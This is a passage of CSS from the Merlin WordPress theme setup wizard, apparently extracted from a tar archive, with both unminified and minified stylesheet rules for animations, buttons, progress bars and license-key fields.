0.17, 1.89), -webkit-transform 350ms cubic-bezier(0.78, -1.22, 0.17, 1.89); width: 13px; } .merlin__drawer--install-plugins label i:before { background: #0073aa; border-radius: 2px; content: ""; height: 2px; left: 0.2em; position: absolute; top: 0.4em; -webkit-transform: rotate(45deg); -ms-transform: rotate(45deg); transform: rotate(45deg); -webkit-transform-origin: 0 0; -ms-transform-origin: 0 0; transform-origin: 0 0; -webkit-transition: width 50ms ease 50ms; transition: width 50ms ease 50ms; width: 0; } .merlin__drawer--install-plugins label i:after { background: #0073aa; border-radius: 2px; content: ""; height: 2px; left: 4px; position: absolute; top: 0.67em; -webkit-transform: rotate(310deg); -ms-transform: rotate(310deg); transform: rotate(310deg); -webkit-transform-origin: 0 0; -ms-transform-origin: 0 0; transform-origin: 0 0; -webkit-transition: width 50ms ease; transition: width 50ms ease; width: 0; } .merlin__drawer--install-plugins label:hover i { border-color: #0073aa; } .merlin__drawer--open .merlin__drawer--extras { padding-bottom: 30px; } .icon--checkmark { -webkit-animation: fill 0.4s ease-in-out 0.4s forwards, scale 0.3s ease-in-out 0.9s both; animation: fill 0.4s ease-in-out 0.4s forwards, scale 0.3s ease-in-out 0.9s both; border-radius: 50%; -webkit-box-shadow: inset 0 0 0 #46b450; box-shadow: inset 0 0 0 #46b450; display: none; height: 110px; left: calc( 50% - 55px); position: absolute; top: 20px; width: 110px; stroke: #fff; stroke-miterlimit: 10; stroke-width: 2; } .js--finished .icon--checkmark { display: inline-block; } .icon--checkmark__check { -webkit-animation: stroke 0.3s cubic-bezier(0.65, 0, 0.45, 1) 0.8s forwards; animation: stroke 0.3s cubic-bezier(0.65, 0, 0.45, 1) 0.8s forwards; -webkit-transform-origin: 50% 50%; -ms-transform-origin: 50% 50%; transform-origin: 50% 50%; stroke-dasharray: 48; stroke-dashoffset: 48; } .icon--checkmark__circle { -webkit-animation: stroke 0.6s cubic-bezier(0.65, 0, 0.45, 1) forwards; animation: stroke 0.6s cubic-bezier(0.65, 0, 0.45, 1) forwards; fill: none; stroke: #46b450; stroke-dasharray: 166; stroke-dashoffset: 166; stroke-miterlimit: 10; stroke-width: 2; } @-webkit-keyframes stroke { 100% { stroke-dashoffset: 0; } } @keyframes stroke { 100% { stroke-dashoffset: 0; } } @-webkit-keyframes scale { 0%, 100% { -webkit-transform: none; transform: none; } 50% { -webkit-transform: scale3d(1.1, 1.1, 1); transform: scale3d(1.1, 1.1, 1); } } @keyframes scale { 0%, 100% { -webkit-transform: none; transform: none; } 50% { -webkit-transform: scale3d(1.1, 1.1, 1); transform: scale3d(1.1, 1.1, 1); } } @-webkit-keyframes fill { 100% { -webkit-box-shadow: inset 0 0 0 100px #46b450; box-shadow: inset 0 0 0 100px #46b450; } } @keyframes fill { 100% { -webkit-box-shadow: inset 0 0 0 100px #46b450; box-shadow: inset 0 0 0 100px #46b450; } } .merlin__content__footer { clear: both; margin-top: 2.75em; } .merlin__content__footer { *zoom: 1; } .merlin__content__footer:before, .merlin__content__footer:after { content: ""; display: table; } .merlin__content__footer:after { clear: both; } .merlin__content__footer--fullwidth { opacity: 0; -webkit-transform: translateX(50%); -ms-transform: translateX(50%); transform: translateX(50%); -webkit-transform-origin: top; -ms-transform-origin: top; transform-origin: top; -webkit-transition: opacity 500ms cubic-bezier(0.694, 0, 0.335, 1), -webkit-transform 500ms cubic-bezier(0.694, 0, 0.335, 1), -webkit-filter 500ms cubic-bezier(0.694, 0, 0.335, 1); transition: opacity 500ms cubic-bezier(0.694, 0, 0.335, 1), -webkit-transform 500ms cubic-bezier(0.694, 0, 0.335, 1), -webkit-filter 500ms cubic-bezier(0.694, 0, 0.335, 1); transition: transform 500ms cubic-bezier(0.694, 0, 0.335, 1), opacity 500ms cubic-bezier(0.694, 0, 0.335, 1), filter 500ms cubic-bezier(0.694, 0, 0.335, 1); transition: transform 500ms cubic-bezier(0.694, 0, 0.335, 1), opacity 500ms cubic-bezier(0.694, 0, 0.335, 1), filter 500ms cubic-bezier(0.694, 0, 0.335, 1), -webkit-transform 500ms cubic-bezier(0.694, 0, 0.335, 1), -webkit-filter 500ms cubic-bezier(0.694, 0, 0.335, 1); -webkit-filter: blur(10px); filter: blur(10px); } @media screen and (prefers-reduced-motion: reduce) { .merlin__content__footer--fullwidth { -webkit-transform: translateX(0); -ms-transform: translateX(0); transform: translateX(0); -webkit-transition: opacity 300ms ease-in-out, -webkit-filter 300ms ease-in-out; transition: opacity 300ms ease-in-out, -webkit-filter 300ms ease-in-out; transition: opacity 300ms ease-in-out, filter 300ms ease-in-out; transition: opacity 300ms ease-in-out, filter 300ms ease-in-out, -webkit-filter 300ms ease-in-out; -webkit-filter: blur(2px); filter: blur(2px); } } body.loaded .merlin__content__footer--fullwidth { opacity: 1; -webkit-transform: translateX(0); -ms-transform: translateX(0); transform: translateX(0); -webkit-filter: blur(0); filter: blur(0); } .merlin__content__footer--nolinks { margin-bottom: 3.14em; } .merlin__content__footer--nolinks .merlin__button { margin-top: 0.57em; } .merlin__content--license .merlin__content__footer { margin-top: -0.24em; } .merlin__content--ready .merlin__content__footer { margin-top: 1.9em; } .merlin__content--ready .merlin__content__footer .merlin__button--knockout { margin-top: 10px; } .merlin__content--content .merlin__content__footer { -webkit-transition: opacity 500ms cubic-bezier(0.694, 0, 0.335, 1); transition: opacity 500ms cubic-bezier(0.694, 0, 0.335, 1); } body.exiting .merlin__content--content .merlin__content__footer { opacity: 0; } .merlin__progress-bar { cursor: default; height: 100%; } .merlin__progress-bar .js-merlin-progress-bar { background-color: #daf1dc; border-radius: 0; bottom: 0; display: block; height: 100%; left: 0; overflow: hidden; position: absolute; right: 0; top: 0; width: 0; } .js-merlin-progress-bar-percentage { bottom: 0; color: #46b450; display: none !important; left: 0; line-height: 38px; position: absolute; right: 0; top: 0; } .merlin__button--loading .js-merlin-progress-bar-percentage { display: block !important; } .merlin__button--next[data-callback="install_content"] { background: #f1f1f1; } .merlin__select-control-wrapper { display: flex; justify-content: center; text-align: center; padding: 20px 0 0; font-size: 11px; } .merlin__select-control-wrapper label { padding: 0 5px; } .merlin__select-control-wrapper .icon { height: 15px; opacity: 0.5; position: relative; top: 6px; width: 15px; fill: #7d8183; } .merlin__select-control-wrapper .icon:hover { opacity: 1; fill: #0073aa; } .merlin__select-control-help { height: 26px; position: absolute; right: 7px; top: 0; display: none; } .merlin__select-control { background: #f9f9f9; border: 1px solid #ccc; border-radius: 3px; -webkit-box-shadow: 0 1px 0 #eee; box-shadow: 0 1px 0 #eee; color: #555d66; cursor: pointer; display: block; font-size: 13px; font-weight: normal; height: 27px; line-height: 1; margin: 0; padding: 0; padding-left: 8px; width: 100%; -webkit-appearance: none; -moz-appearance: none; appearance: none; } .merlin__select-control:hover { border-color: #999; } .merlin__select-control:focus { border-color: #5b9dd9; } .merlin__select-control select::-ms-expand { display: none; } .merlin__demo-import-preview { background-color: #f1f1f1; border-radius: 5px; margin: 20px 0; padding: 10px; width: calc( 100% - 20px); } .merlin__demo-import-preview-image { width: 100%; } .merlin__drawer--open .is-multi-import { padding-bottom: 30px; -webkit-transition: padding 300ms cubic-bezier(0.75, 0, 0.25, 1) 100ms; transition: padding 300ms cubic-bezier(0.75, 0, 0.25, 1) 100ms; } .is-multi-import { -webkit-transition: padding 600ms cubic-bezier(0.75, 0, 0.25, 1); transition: padding 600ms cubic-bezier(0.75, 0, 0.25, 1); } .is-multi-import .merlin__content__footer { margin-top: 7px; } /*Fix*/ .merlin__body { flex-direction: column; color: transparent; font-size: 0; line-height: 0; } .merlin__wrapper { font-size: 14px; line-height: 1.7em; } .js-merlin-demo-import-select { display: block; margin: 10px auto; } .merlin__body #query-monitor-main.qm-no-js, .merlin__body #query-monitor-main.qm-broken { display: none; } .merlin__content .widefat { border: 1px solid #ddd; border-width: 1px 0 0 0; text-align: initial; margin: 10px 0; } .merlin__content .widefat td { border-bottom: 1px solid #ddd; } .merlin__content .success { color: #03a678; } .merlin__content .red { color: #dc3232; } .merlin__content .yellow { color: #FFC107; } .merlin__content .underline { font-weight: bold; } .merlin__content .server_check_notice { font-size: 13px; margin-bottom: 10px; } .merlin__content .server_check_notice + .welcome_message, .merlin__content .server_check_notice + .import_message { display: none; } .merlin__content [type=radio] { position: absolute; opacity: 0; width: 0; height: 0; } .merlin__content [type=radio] + img { display: block; cursor: pointer; max-width: 80px; height: auto; border: 1px solid #ddd; transition: all .15s cubic-bezier(0.25, 0.46, 0.45, 0.94); opacity: 0.7; } .merlin__content [type=radio]:checked + img { outline: 2px solid #0073aa; max-width: 100px; opacity: 1; } .merlin__content [type=radio] span { display: block; }���������������������������������������������������������������������������������������������������������������������������������������������������������merlin/assets/css/merlin.min.css��������������������������������������������������������������������0000644�����������������00000162236�15154650146�0012727 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������@charset "UTF-8";.merlin__body{background:#f1f1f1;-webkit-box-shadow:none;box-shadow:none;-webkit-box-sizing:border-box;box-sizing:border-box;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;font-size:14px;line-height:1.7em;margin:0 auto;padding:0!important;-webkit-align-items:center;align-items:center;-webkit-box-align:center;-webkit-box-pack:center;-ms-flex-align:center;-ms-flex-pack:center;-webkit-justify-content:center;justify-content:center}h1{border:0;color:#444;font-size:20px;font-weight:500;margin:0 0 20px;padding:0}p{font-size:14px;line-height:1.7em;margin:0}.merlin__input{border-radius:3px;display:block;font-size:12px;margin:14px auto 0;padding:4px 8px;width:70%}.lead + .merlin__button--knockout{z-index:-1}p.lead{-webkit-animation:vanishOut 800ms linear alternate;animation:vanishOut 800ms linear alternate;z-index:9999}p.success{-webkit-animation:vanishIn 700ms linear alternate;animation:vanishIn 700ms linear alternate}@-webkit-keyframes vanishIn{0%{opacity:0;-webkit-transform:scale(2,2);transform:scale(2,2);-webkit-transform-origin:50% 50%;transform-origin:50% 50%;-webkit-filter:blur(70px);filter:blur(70px)}100%{opacity:1;-webkit-transform:scale(1,1);transform:scale(1,1);-webkit-transform-origin:50% 50%;transform-origin:50% 50%;-webkit-filter:blur(0px);filter:blur(0px)}}@keyframes vanishIn{0%{opacity:0;-webkit-transform:scale(2,2);transform:scale(2,2);-webkit-transform-origin:50% 50%;transform-origin:50% 50%;-webkit-filter:blur(70px);filter:blur(70px)}100%{opacity:1;-webkit-transform:scale(1,1);transform:scale(1,1);-webkit-transform-origin:50% 50%;transform-origin:50% 50%;-webkit-filter:blur(0px);filter:blur(0px)}}@-webkit-keyframes vanishIn{0%{opacity:0}100%{opacity:1}}@keyframes vanishIn{0%{opacity:0}100%{opacity:1}}@-webkit-keyframes vanishOut{0%{opacity:1;-webkit-transform:scale(1,1);transform:scale(1,1);-webkit-transform-origin:50% 50%;transform-origin:50% 50%;-webkit-filter:blur(0px);filter:blur(0px)}100%{opacity:0;-webkit-transform:scale(2,2);transform:scale(2,2);-webkit-transform-origin:50% 50%;transform-origin:50% 50%;-webkit-filter:blur(50px);filter:blur(50px)}}@keyframes vanishOut{0%{opacity:1;-webkit-transform:scale(1,1);transform:scale(1,1);-webkit-transform-origin:50% 50%;transform-origin:50% 50%;-webkit-filter:blur(0px);filter:blur(0px)}100%{opacity:0;-webkit-transform:scale(2,2);transform:scale(2,2);-webkit-transform-origin:50% 50%;transform-origin:50% 50%;-webkit-filter:blur(50px);filter:blur(50px)}}@-webkit-keyframes vanishOut{0%{opacity:1}100%{opacity:0}}@keyframes vanishOut{0%{opacity:1}100%{opacity:0}}.hidden{border:0;clip:rect(1px,1px,1px,1px);display:none;height:1px;overflow:hidden;padding:0;position:absolute;width:1px;-webkit-clip-path:circle(1% at 1% 1%);clip-path:circle(1% at 1% 1%)}.huh-launcher,.huh-container{display:none!important}.icon.icon--merlin{bottom:15px;height:75px;margin:0;position:absolute;right:15px;width:50px}.merlin__helper{bottom:40px;position:absolute;right:80px}@-webkit-keyframes moveup{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}30%{opacity:1;-webkit-transform:translateY(-42px);transform:translateY(-42px)}90%{opacity:1;-webkit-transform:translateY(-42px);transform:translateY(-42px)}100%{opacity:0;-webkit-transform:translateY(-48px) scale(0.99);transform:translateY(-48px) scale(0.99);-webkit-transform-origin:top right;transform-origin:top right}}@keyframes moveup{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}30%{opacity:1;-webkit-transform:translateY(-42px);transform:translateY(-42px)}90%{opacity:1;-webkit-transform:translateY(-42px);transform:translateY(-42px)}100%{opacity:0;-webkit-transform:translateY(-48px) scale(0.99);transform:translateY(-48px) scale(0.99);-webkit-transform-origin:top right;transform-origin:top right}}@-webkit-keyframes fadeout{0%{opacity:1}100%{opacity:0;-webkit-transform:translateY(-30px) scale(0.94);transform:translateY(-30px) scale(0.94);-webkit-transform-origin:top right;transform-origin:top right}}@keyframes fadeout{0%{opacity:1}100%{opacity:0;-webkit-transform:translateY(-30px) scale(0.94);transform:translateY(-30px) scale(0.94);-webkit-transform-origin:top right;transform-origin:top right}}@-webkit-keyframes thirdmessgae{0%{overflow:hidden}100%{overflow:visibile}}@keyframes thirdmessgae{0%{overflow:hidden}100%{overflow:visibile}}.from-me{background:#0b93f6;border-radius:12px;bottom:10px;color:#fff;margin-bottom:0;opacity:0;padding:6px 15px 7px;position:relative;position:absolute;right:0;-webkit-transform:translateY(50px) translateX(10px) scale(0.1);-ms-transform:translateY(50px) translateX(10px) scale(0.1);transform:translateY(50px) translateX(10px) scale(0.1);-webkit-transition:opacity 300ms cubic-bezier(0.694,0,0.335,1) 100ms,-webkit-transform 500ms cubic-bezier(0.694,0.5,0.1,1);transition:opacity 300ms cubic-bezier(0.694,0,0.335,1) 100ms,-webkit-transform 500ms cubic-bezier(0.694,0.5,0.1,1);transition:transform 500ms cubic-bezier(0.694,0.5,0.1,1),opacity 300ms cubic-bezier(0.694,0,0.335,1) 100ms;transition:transform 500ms cubic-bezier(0.694,0.5,0.1,1),opacity 300ms cubic-bezier(0.694,0,0.335,1) 100ms,-webkit-transform 500ms cubic-bezier(0.694,0.5,0.1,1);width:300px}.loaded .from-me:not(.is-third-message){opacity:1;-webkit-transform:translateY(0) translateX(0) scale(1);-ms-transform:translateY(0) translateX(0) scale(1);transform:translateY(0) translateX(0) scale(1);-webkit-transform-origin:right;-ms-transform-origin:right;transform-origin:right}.loaded .from-me.with-second-message{-webkit-animation:moveup 1700ms ease-out 4200ms forwards;animation:moveup 1700ms ease-out 4200ms forwards}.loaded .from-me.is-third-message{opacity:1;-webkit-transform:scale(1) translateY(0);-ms-transform:scale(1) translateY(0);transform:scale(1) translateY(0);-webkit-transform-origin:right;-ms-transform-origin:right;transform-origin:right;-webkit-transition:opacity 300ms cubic-bezier(0.694,0,0.335,1) 7100ms,-webkit-transform 500ms cubic-bezier(0.694,0.5,0.1,1) 7000ms;transition:opacity 300ms cubic-bezier(0.694,0,0.335,1) 7100ms,-webkit-transform 500ms cubic-bezier(0.694,0.5,0.1,1) 7000ms;transition:transform 500ms cubic-bezier(0.694,0.5,0.1,1) 7000ms,opacity 300ms cubic-bezier(0.694,0,0.335,1) 7100ms;transition:transform 500ms cubic-bezier(0.694,0.5,0.1,1) 7000ms,opacity 300ms cubic-bezier(0.694,0,0.335,1) 7100ms,-webkit-transform 500ms cubic-bezier(0.694,0.5,0.1,1) 7000ms}.from-me a{color:#fff}.from-me p{font-size:13px}.from-me::before{border-bottom-left-radius:16px 14px;border-right:20px solid #0b93f6;bottom:-2px;content:"";height:20px;position:absolute;right:-7px;-webkit-transform:translate(0,-2px);z-index:0}.from-me::after{background:#f1f1f1;border-bottom-left-radius:10px;bottom:-2px;content:"";height:20px;position:absolute;right:-56px;-webkit-transform:translate(-30px,-2px);width:26px;z-index:0}.chat-bubble{background:#ddd;bottom:8px;height:34px;margin-left:auto;opacity:0;position:absolute;right:12px;-webkit-transform:translateY(50px) translateX(10px) scale(0.1);-ms-transform:translateY(50px) translateX(10px) scale(0.1);transform:translateY(50px) translateX(10px) scale(0.1);-webkit-transition:opacity 300ms cubic-bezier(0.694,0,0.335,1) 4300ms,-webkit-transform 500ms cubic-bezier(0.694,0.5,0.1,1) 4200ms;transition:opacity 300ms cubic-bezier(0.694,0,0.335,1) 4300ms,-webkit-transform 500ms cubic-bezier(0.694,0.5,0.1,1) 4200ms;transition:transform 500ms cubic-bezier(0.694,0.5,0.1,1) 4200ms,opacity 300ms cubic-bezier(0.694,0,0.335,1) 4300ms;transition:transform 500ms cubic-bezier(0.694,0.5,0.1,1) 4200ms,opacity 300ms cubic-bezier(0.694,0,0.335,1) 4300ms,-webkit-transform 500ms cubic-bezier(0.694,0.5,0.1,1) 4200ms;width:24px}.loaded .chat-bubble{-webkit-animation:fadeout 300ms ease-out 6500ms forwards;animation:fadeout 300ms ease-out 6500ms forwards;opacity:1;-webkit-transform:translateY(0) translateX(0) scale(1);-ms-transform:translateY(0) translateX(0) scale(1);transform:translateY(0) translateX(0) scale(1);-webkit-transform-origin:right;-ms-transform-origin:right;transform-origin:right}.chat-bubble:before{background:#ddd;border-radius:50%;content:"";display:block;height:34px;left:-17px;position:absolute;width:34px;z-index:1}.chat-bubble:after{background:#ddd;border-radius:50%;content:"";display:block;height:34px;position:absolute;right:-17px;width:34px;z-index:1}.chat-bubble .tail{background:#ddd;border-radius:50%;bottom:-1px;height:15px;position:absolute;right:-17px;width:15px}.chat-bubble .tail::before{background:#ddd;border-radius:50%;bottom:-4px;content:"";display:block;height:5px;position:absolute;right:-3px;width:5px}.chat-bubble .loading{left:0;position:absolute;top:14px;width:30px;z-index:10}.chat-bubble .loading .dot{background:#c1c1c1;border-radius:50%;display:block;float:left;height:6px;margin:0 0 0 3px;width:6px}.chat-bubble .loading .dot:first-child{margin:0}.chat-bubble .loading .dot.one{-webkit-animation:cycleOne 1s ease-in-out infinite;animation:cycleOne 1s ease-in-out infinite}.chat-bubble .loading .dot.two{-webkit-animation:cycleTwo 1s ease-in-out infinite}.chat-bubble .loading .dot.three{-webkit-animation:cycleThree 1s ease-in-out infinite;animation:cycleThree 1s ease-in-out infinite}@-webkit-keyframes cycleOne{0%{background:rgba(150,150,150,0.4)}33.333%{background:#969696}66.6667%{background:rgba(150,150,150,0.4)}100%{background:rgba(150,150,150,0.4)}}@keyframes cycleOne{0%{background:rgba(150,150,150,0.4)}33.333%{background:#969696}66.6667%{background:rgba(150,150,150,0.4)}100%{background:rgba(150,150,150,0.4)}}@-webkit-keyframes cycleTwo{0%{background:rgba(150,150,150,0.4)}33.333%{background:rgba(150,150,150,0.4)}66.6667%{background:#969696}100%{background:rgba(150,150,150,0.4)}}@keyframes cycleTwo{0%{background:rgba(150,150,150,0.4)}33.333%{background:rgba(150,150,150,0.4)}66.6667%{background:#969696}100%{background:rgba(150,150,150,0.4)}}@-webkit-keyframes cycleThree{0%{background:rgba(150,150,150,0.4)}33.333%{background:rgba(150,150,150,0.4)}66.6667%{background:rgba(150,150,150,0.4)}100%{background:#969696}}@keyframes cycleThree{0%{background:rgba(150,150,150,0.4)}33.333%{background:rgba(150,150,150,0.4)}66.6667%{background:rgba(150,150,150,0.4)}100%{background:#969696}}.dots{cursor:default;display:block;line-height:1;list-style:none;margin:0 auto;max-width:140px;padding:0;position:relative;top:10px;z-index:0}.merlin__content--ready .dots{display:none}.merlin__content--content .dots{-webkit-transition:opacity 500ms cubic-bezier(0.694,0,0.335,1);transition:opacity 500ms cubic-bezier(0.694,0,0.335,1)}body.exiting .merlin__content--content .dots{opacity:0}.dots li{background:#e9e9e9;border-radius:999px;display:inline-block;height:7px;margin:0 .01em;padding:0;position:relative;top:-.15em;-webkit-transition:background 300ms cubic-bezier(0.694,0,0.335,1);transition:background 300ms cubic-bezier(0.694,0,0.335,1);width:7px;z-index:9999}.dots li.done{background:#0073aa}.dots li.active{-webkit-animation:popIn 900ms forwards;animation:popIn 900ms forwards;-webkit-animation-fill-mode:both;animation-fill-mode:both}@media screen and (prefers-reduced-motion: reduce){.dots li.active{-webkit-animation:none;animation:none;background:#0073aa}}.dots li.active::after{-webkit-animation:sonarEffect 400ms ease-out 300ms;animation:sonarEffect 400ms ease-out 300ms;border-radius:999px;content:"";display:inline-block;height:8px;left:-.037778em;position:absolute;top:-.05em;-webkit-transition:-webkit-box-shadow 300ms cubic-bezier(0.694,0,0.335,1);transition:-webkit-box-shadow 300ms cubic-bezier(0.694,0,0.335,1);transition:box-shadow 300ms cubic-bezier(0.694,0,0.335,1);transition:box-shadow 300ms cubic-bezier(0.694,0,0.335,1),-webkit-box-shadow 300ms cubic-bezier(0.694,0,0.335,1);width:8px;z-index:-1}@media screen and (prefers-reduced-motion: reduce){.dots li.active::after{-webkit-animation:none;animation:none}}@-webkit-keyframes sonarEffect{0%{opacity:1}40%{-webkit-box-shadow:0 0 0 1px #aae4ff;box-shadow:0 0 0 1px #aae4ff;opacity:.5}100%{-webkit-box-shadow:0 0 0 1px #aae4ff;box-shadow:0 0 0 1px #aae4ff;opacity:0;-webkit-transform:scale(1.6);transform:scale(1.6)}}@keyframes sonarEffect{0%{opacity:1}40%{-webkit-box-shadow:0 0 0 1px #aae4ff;box-shadow:0 0 0 1px #aae4ff;opacity:.5}100%{-webkit-box-shadow:0 0 0 1px #aae4ff;box-shadow:0 0 0 1px #aae4ff;opacity:0;-webkit-transform:scale(1.6);transform:scale(1.6)}}@-webkit-keyframes popIn{0%{background:#e3e3e3}55%{background:#e3e3e3;-webkit-transform:scale(1);transform:scale(1)}65%{background:#0073aa;-webkit-transform:scale(1.6);transform:scale(1.6)}85%{background:#0073aa;-webkit-transform:scale(0.8);transform:scale(0.8)}95%{background:#0073aa;-webkit-transform:scale(1.2);transform:scale(1.2)}100%{background:#0073aa;-webkit-transform:scale(1);transform:scale(1)}}@keyframes popIn{0%{background:#e3e3e3}55%{background:#e3e3e3;-webkit-transform:scale(1);transform:scale(1)}65%{background:#0073aa;-webkit-transform:scale(1.6);transform:scale(1.6)}85%{background:#0073aa;-webkit-transform:scale(0.8);transform:scale(0.8)}95%{background:#0073aa;-webkit-transform:scale(1.2);transform:scale(1.2)}100%{background:#0073aa;-webkit-transform:scale(1);transform:scale(1)}}svg:not(:root){overflow:hidden}.icon{margin-bottom:2.8em;max-width:100%;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.js--finished .icon:not(.icon--checkmark):not(.icon--help){opacity:0;-webkit-transform:scale(0.8);-ms-transform:scale(0.8);transform:scale(0.8);-webkit-transition:opacity 400ms cubic-bezier(0.694,0,0.335,1) 0ms,-webkit-transform 400ms cubic-bezier(0.694,0,0.335,1),-webkit-filter 300ms cubic-bezier(0.694,0,0.335,1) 100ms;transition:opacity 400ms cubic-bezier(0.694,0,0.335,1) 0ms,-webkit-transform 400ms cubic-bezier(0.694,0,0.335,1),-webkit-filter 300ms cubic-bezier(0.694,0,0.335,1) 100ms;transition:transform 400ms cubic-bezier(0.694,0,0.335,1),opacity 400ms cubic-bezier(0.694,0,0.335,1) 0ms,filter 300ms cubic-bezier(0.694,0,0.335,1) 100ms;transition:transform 400ms cubic-bezier(0.694,0,0.335,1),opacity 400ms cubic-bezier(0.694,0,0.335,1) 0ms,filter 300ms cubic-bezier(0.694,0,0.335,1) 100ms,-webkit-transform 400ms cubic-bezier(0.694,0,0.335,1),-webkit-filter 300ms cubic-bezier(0.694,0,0.335,1) 100ms;-webkit-filter:blur(10px);filter:blur(10px)}.merlin__content{background:#fff;border-radius:7px;-webkit-box-shadow:0 5px 20px rgba(0,0,0,0.07);box-shadow:0 5px 20px rgba(0,0,0,0.07);-webkit-box-sizing:border-box;box-sizing:border-box;color:#444;display:block;margin:1.5em auto 0;max-width:390px;overflow:hidden;padding:60px 33px 35px;position:relative;text-align:center;zoom:1}.merlin__content--transition{opacity:0;-webkit-transform:translateX(50%) scale(0.95);-ms-transform:translateX(50%) scale(0.95);transform:translateX(50%) scale(0.95);-webkit-transform-origin:50%;-ms-transform-origin:50%;transform-origin:50%;-webkit-transition:opacity 500ms cubic-bezier(0.694,0,0.335,1),-webkit-transform 500ms cubic-bezier(0.694,0,0.335,1),-webkit-filter 500ms cubic-bezier(0.694,0,0.335,1) 0;transition:opacity 500ms cubic-bezier(0.694,0,0.335,1),-webkit-transform 500ms cubic-bezier(0.694,0,0.335,1),-webkit-filter 500ms cubic-bezier(0.694,0,0.335,1) 0;transition:transform 500ms cubic-bezier(0.694,0,0.335,1),opacity 500ms cubic-bezier(0.694,0,0.335,1),filter 500ms cubic-bezier(0.694,0,0.335,1) 0;transition:transform 500ms cubic-bezier(0.694,0,0.335,1),opacity 500ms cubic-bezier(0.694,0,0.335,1),filter 500ms cubic-bezier(0.694,0,0.335,1) 0,-webkit-transform 500ms cubic-bezier(0.694,0,0.335,1),-webkit-filter 500ms cubic-bezier(0.694,0,0.335,1) 0;-webkit-filter:blur(10px);filter:blur(10px)}@media screen and (prefers-reduced-motion: reduce){.merlin__content--transition{-webkit-transform:translateX(0) scale(1);-ms-transform:translateX(0) scale(1);transform:translateX(0) scale(1);-webkit-transition:opacity 300ms ease-in-out,-webkit-filter 300ms ease-in-out;transition:opacity 300ms ease-in-out,-webkit-filter 300ms ease-in-out;transition:opacity 300ms ease-in-out,filter 300ms ease-in-out;transition:opacity 300ms ease-in-out,filter 300ms ease-in-out,-webkit-filter 300ms ease-in-out;-webkit-filter:blur(2px);filter:blur(2px)}}.merlin__content--welcome .merlin__content--transition{opacity:1;-webkit-transform:translateX(0) scale(1);-ms-transform:translateX(0) scale(1);transform:translateX(0) scale(1);-webkit-filter:blur(0);filter:blur(0)}.merlin__content--plugins .merlin__content__footer.no-plugins,.merlin__content--welcome .merlin__content__footer{padding-top:22px}.merlin__content--plugins .merlin__content__footer{padding-top:3px}.merlin__content--license .merlin__content__footer{padding-top:30px}.merlin__content--license .merlin__content__footer.is-registered{padding-top:87px}.merlin__content--license .merlin__button--knockout{margin-top:0;padding-bottom:8px;padding-top:8px}.merlin__content--license-key{margin-top:22px}.merlin__content--license-key.has-error input{-webkit-animation:errorShake .4s 1 linear;animation:errorShake .4s 1 linear;border-color:#d54e21;-webkit-box-shadow:0 0 2px rgba(213,78,33,0.8);box-shadow:0 0 2px rgba(213,78,33,0.8)}.merlin__content--license-key label{border:0;clip:rect(1px,1px,1px,1px);height:1px;overflow:hidden;padding:0;position:absolute;width:1px;-webkit-clip-path:circle(1% at 1% 1%);clip-path:circle(1% at 1% 1%)}.merlin__content--license-key-wrapper{margin-left:auto;margin-right:auto;position:relative;width:87%}.merlin__content--license-key .icon{height:27px;margin-bottom:0;opacity:.6;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);-webkit-transition:fill 150ms cubic-bezier(0.694,0,0.335,1),opacity 150ms cubic-bezier(0.694,0,0.335,1);transition:fill 150ms cubic-bezier(0.694,0,0.335,1),opacity 150ms cubic-bezier(0.694,0,0.335,1);width:27px;z-index:9999;-webkit-backface-visibility:hidden;backface-visibility:hidden;fill:#7d8183}@media screen and (prefers-reduced-motion: reduce){.merlin__content--license-key .icon{-webkit-transition:fill 50ms ease-in-out,opacity 50ms ease-in-out;transition:fill 50ms ease-in-out,opacity 50ms ease-in-out}}.merlin__content--license-key .icon:hover{opacity:1;fill:#0073aa}.merlin__content--license-key a{height:27px;position:absolute;right:3px;top:4px;width:27px}.merlin__content--license-key a::after{background:transparent;background:-webkit-gradient(linear,right top,left top,color-stop(40%,#fff),to(rgba(255,255,255,0)));background:-webkit-linear-gradient(right,#fff 40%,rgba(255,255,255,0));background:linear-gradient(to left,#fff 40%,rgba(255,255,255,0));border-radius:3px;content:"";height:27px;pointer-events:none;position:absolute;right:23px;top:0;width:20px;z-index:1}.merlin__content--license-key a:active svg{-webkit-animation:small_pulse 200ms;animation:small_pulse 200ms;-webkit-animation-timing-function:cubic-bezier(0.694,0,0.335,1);animation-timing-function:cubic-bezier(0.694,0,0.335,1);-webkit-animation-fill-mode:none;animation-fill-mode:none}.merlin__content--license-key input{background:transparent;border-radius:3px;-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,0.06);box-shadow:inset 0 1px 2px rgba(0,0,0,0.06);display:inline-block;font-family:Menlo,Consolas,monaco,monospace;font-size:11px;padding:10px 27px 8px 9px;width:100%}.merlin__content--ready{padding-bottom:12px}body.loaded .merlin__content--transition{opacity:1;-webkit-transform:translateX(0) scale(1);-ms-transform:translateX(0) scale(1);transform:translateX(0) scale(1);-webkit-filter:blur(0);filter:blur(0)}body.exiting .merlin__content--transition{opacity:0;-webkit-transform:translateX(-40%) scale(0.96);-ms-transform:translateX(-40%) scale(0.96);transform:translateX(-40%) scale(0.96);-webkit-transition:opacity 500ms cubic-bezier(0.694,0,0.335,1),-webkit-transform 500ms cubic-bezier(0.694,0,0.335,1),-webkit-filter 700ms cubic-bezier(0.694,0,0.335,1) 0;transition:opacity 500ms cubic-bezier(0.694,0,0.335,1),-webkit-transform 500ms cubic-bezier(0.694,0,0.335,1),-webkit-filter 700ms cubic-bezier(0.694,0,0.335,1) 0;transition:transform 500ms cubic-bezier(0.694,0,0.335,1),opacity 500ms cubic-bezier(0.694,0,0.335,1),filter 700ms cubic-bezier(0.694,0,0.335,1) 0;transition:transform 500ms cubic-bezier(0.694,0,0.335,1),opacity 500ms cubic-bezier(0.694,0,0.335,1),filter 700ms cubic-bezier(0.694,0,0.335,1) 0,-webkit-transform 500ms cubic-bezier(0.694,0,0.335,1),-webkit-filter 700ms cubic-bezier(0.694,0,0.335,1) 0;-webkit-filter:blur(10px);filter:blur(10px)}@media screen and (prefers-reduced-motion: reduce){body.exiting .merlin__content--transition{-webkit-transform:translateX(0) scale(1);-ms-transform:translateX(0) scale(1);transform:translateX(0) 